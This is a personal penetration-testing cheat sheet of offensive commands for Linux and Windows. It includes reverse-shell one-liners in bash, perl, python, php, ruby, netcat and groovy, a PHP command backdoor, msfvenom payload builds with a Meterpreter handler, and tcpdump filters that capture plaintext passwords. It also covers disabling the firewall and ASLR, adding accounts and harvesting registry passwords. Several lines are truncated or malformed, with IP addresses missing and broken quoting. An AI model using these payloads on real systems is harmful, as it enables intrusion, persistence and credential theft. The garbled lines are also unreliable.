Pentesting Cheatsheet

An unstructured list of bolts & clamps I have collected over time.



find all setuid and setgid programs

find / -perm -6000 -print

set file immutable (even root cannot delete it)

chattr +i test.txt

set file append only. Can only add new content, not remove old

chattr +a test.txt

verify immutable flag (plus other flags)


revoke to groups and other read+write+execution permission in the current and sub directories

chmod -R go-rwx /*

assigns to all user read+write+execution permission in the current and sub directories

chmod -R a+rx /*

allows file owner to be the only one authorized to delete their files

umask 0000

cat, grep & misc commands

cat all files recursively

find . -name '*.txt' -exec cat {} \;
find . -name '*' -exec ls -asl {} \; 2>/dev/null | grep passwd
find . -name foo -type f -print0 | xargs -0 grep "password"

find a pattern in a file and suppress stderr

grep 'pattern' file 2>/dev/null
grep -s 'pattern' file

Network Scanning

Unicorn UDP scan over tunnel interface (often faster than nmap)

unicornscan -mU -p 161 -i tap0

Masscan over tunnel

masscan -p1-65500 --interface tap0 --router-mac 00-50-56-89-35-90

nmap check all related vulnerabilities

nmap --script vuln [host]

Traffic Dump

Grab everything between two keywords

tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'

Grab user and pass ever plain http

tcpdump -i eth0  port http -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20

SSH Port Forwarding

SSH local port forwarding
Make services on the remote network accessible to your host via a local listener. The service running on the remote host on TCP port 8834 is accessible by connecting to 8834 on the SSH client system.

ssh -L 8834:localhost:8834 user@taget_ip

SSH remote port forwarding
Make services on your local system / local network accessible to the remote host via a remote listener. The SSH server will be able to access TCP port 80 on (a host accessible from the SSH client) by connecting to on the SSH server.

ssh -R

Password cracking and wordlists

Crunch Worlist Generator

Crunch - Wordlist Generator
    @ - Lower case alpha characters
    , - Upper case alpha characters
    % - Numeric characters
    ^ - Special characters including space

    crunch 8 8 -t ,@@^^%%%

Custom dictionary from website

cewl -d 2 -m 5 -w docswords.txt

Create wordlist in norwegian using words from Wikipedia


bzcat nowiki-latest-pages-articles.xml.bz2 | grep '^[a-zA-Z]' | sed 's/[-_:.,;#@+?{}()&|§!¤%`<>="\/]/\ /g'```<br>``` | tr ' ' '\n' | sed 's/[0-9]//g' | sed 's/[^A-Za-z0-9]//g' | sed -e 's/./\L\0/g' ```<br>```| sed 's/[^abcdefghijklmnopqrstuvwxyzæøå]//g' | sort | uniq | pw-inspector -m1 -M20 > nowiki.lst

Reverse-shell oneliners


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i”);};’


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


Reverse Shell

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Command backdoor

<?php echo shell_exec($_GET['cmd']);?>


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


nc -e /bin/sh 1234


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


xterm -display


List shares

smbclient -L

Connect to share

smbclient \\\\\\SHARE

Nmap SMB scripts:

nmap -v -p 139,445 [IP] --script=smb-vuln-conficker.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-cve2009-3103.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms06-025.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms07-029.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms08-067.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-054.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-061.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms17-010.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-regsvc-dos.nse


onesixtyone – c <community list file> -I <ip-address>
snmpwalk -c <community string> -v <version> <ip address>



Staged reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Stageless (single) reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe


Staged reverse TCP

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf

Stageless (single) reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf

VBA/VBS payload

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT=8080 -e x86/shikata_ga_nai -f vba-exe


Meterpreter handler template

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter/reverse_tcp
set LPORT 4444
set ExitOnSession false
exploit -j -z


create object file, and link it

nasm -f elf -o shellcode.o shellcode.nasm
ld -melf_i386 -z execstack -o shellcode shellcode.o

compile in one go

gcc -z execstack -o shellcode shellcode.c

compile windows PE on kali 64bit

x86_64-w64-mingw32-gcc shell.c -o shell.exe

compile windows on kali 32bit

i686-w64-mingw32-gcc shell.c -o shell.exe

generates only ASM from C code

gcc -S -fno-asynchronous-unwind-tables -masm=intel *.c

Binary Exploitation and Reversing


disable ASLR system-wide

echo 1 > /proc/sys/kernel/randomize_va_space

disable ASLR on a single bash session, instead of the whole OS

setarch $(uname --machine) --addr-no-randomize bash


convert shellcode to machinecode



finds /bin/sh location inside libc

(gdb) break main
Breakpoint 1 at 0x8048570
(gdb) run
Starting program: /root/Desktop/RE/intro_rev_binary_expl/exploitation/examples/hello

Breakpoint 1, 0x08048570 in main ()
(gdb) find 0xf7dba000,0xf7f8c000,"/bin/sh"
1 pattern found.


Cheat sheet


Version information

5.0   2000
5.1   XP/legacy
5.2   XP64/Server 2003 (R2)
6.0   Vista/Server 2008
6.1   7/Server 2008R2/Home Server 2011
6.2   8/Server 2012
6.3   8.1/Server 2012R2
10.0  10/Server 2016

Basic enumeration

General system info


Get hostname


Current user


Current user, group and permissions

whoami /all

IP and Networking

ipconfig /all
route print
netstat -bano
netsat -r


command | findstr /C:"str"

current path


run target “executable” with user profile permissiosn for /user:

runas /profile /user:administrator "C:\absolute\path\pcoff.exe"

run code excution in background

START /B process.exe

execute all files in a directory

for %%i in (C:\abs\path\*) do %%i
for /F "usebackq" %i in (`dir /b C:\macros\Day\`) DO %i


net users

list users in current domain

net user /domain

list user info

net user username

add local system user

net user name pass /add

check user’s network group membership

net user name setpword

check another user’s information

net user /domain user

list users in AD group

net group "Domain Users" /domain

list domain local group users

net localgroup "administrators" /domain
net group “Domain Admins” /domain
net group “Enterprise Admins” /domain
net group “Domain Controllers” /domain
NET LOCALGROUP "Remote Desktop Users" trinity /ADD

List password policy for locahost

net accounts
net accounts /domain


view full ARP table

arp -A

view available network share hosts

net view

view available shares on host

net view \\HOST

Queries NBNS/SMB (SAMBA) and tries to find all hosts in ‘otherdomain’

net view /domain:otherdomain

Lists tasks w/users running those tasks on a remote system

tasklist /V /S computername


netsh firewall show state
netsh firewall show config
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

Configure nic to user dhcp

netsh interface ip set address local dhcp

open port (for rdesktop)

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

close port (for rdesktop)

netsh advfirewall firewall add rule name="Block mssql attack ips" dir=in action=block protocol=TCP localport=1433 remoteip=

Auto-Start Directories

Windows NT 6.1,6.0
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\


map remote hard drive to local path

net use * \\remote_ip\c$ password /u:remote_ip\username

verify shares

net use [sharename]


locally use PS to execute command as admin, given admin password

$user = "PC\Administrator";
$password = "test1234";
$pass_string = convertTo-SecureString -AsPlaintext -Force $password;
$cred = new-object$user, $pass_string);
Invoke-Command -ComputerName -Credential $cred -ScriptBlock { type C:/Users/Administrator/Desktop/root.txt ; type C:/Users/h.potter/user.txt }

Privilege Escalation

Full permissions for Everyone or Users? replace (F) with (M) to check for modify rights

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

Unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

Passwords in registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

Web Applications


curl [IP] -s -L | html2text -width '99' | uniq



SQLmap example

sqlmap -m [external url list]  --crawl=6 --threads=10 --random-agent --dbms=mysql|mssql|postgresql|orcale --level=5 --risk=3